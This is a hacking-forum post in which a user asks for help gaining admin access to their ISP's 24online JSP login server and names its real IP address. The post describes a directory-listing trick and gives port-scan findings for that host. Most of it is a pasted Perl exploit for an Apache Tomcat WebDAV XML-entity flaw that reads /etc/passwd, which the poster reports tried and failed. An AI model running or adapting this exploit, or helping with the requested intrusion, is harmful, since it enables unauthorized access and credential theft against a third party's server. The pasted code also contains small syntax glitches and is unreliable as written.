

Forum:[Hack Forums](#)

Thread: [Gaining Admin access to ISP server which runs on JSP. Runs 24online software.](#)

pwntoken - November 16, 2013, 3:25 am

Okay, so I have a 24online software running at:

Code `http://202.142.112.66/24online/webpages/login.jsp`
which is my ISP IP. Now, as many of you know, we could spoof the mac and use it to gain administrative priviledges, but, however it isn't possible as in my case the network administrator isn't on the same network with a physical LAN connection enabled. That been said, there is this append directory listing via which we can see all the directories within this on JSP server, like

Code `http://202.142.112.66/24online/webpages/;index.jsp`
I appended

Code `;index.jsp`
to reveal information.

For grabbing the `/etc/passwd` file there is this apache exploit which works, but this is version specific! it's RFD exploit!

```
Code #!/usr/bin/perl
#*****
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#*****
```

```
use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?
```

```
# SET REMOTE PORT HERE
$remoteport = 8080;
```

```
sub usage {
    print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
    print "kcdarookie aka eliteb0y / 2007\n";
    print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username]
[password]\n";
    print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat
tomcat\n";exit;
}
```

```

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                                PeerPort => $remoteport,
                                Proto   => 'tcp');

$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXML =
"<?xml version='1.0'?'>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns:D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
"LOCK $webdavfile HTTP/1.1\r\n"
".Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXML)."\r\n\r\n" .
$KRADXML;

print $sock $ExploitRequest;

while(<$sock>) {
    print;
}

```

milw0rm.com [2007-10-14]

This doesn't work either in this case. So how do I find a way in for grabbing the password and gaining admin access to this remote JSP based software on the IP I specified?

Also, I nmap'd the ports, METHODS are enabled. Did a quick Telnet and found TRACE is enabled. Nothing much I could do with it. I am sure SSH is open, as well as LDAP is filtered, 3306 on MySQL is running but filtered, I could use some help in this! thank you.

?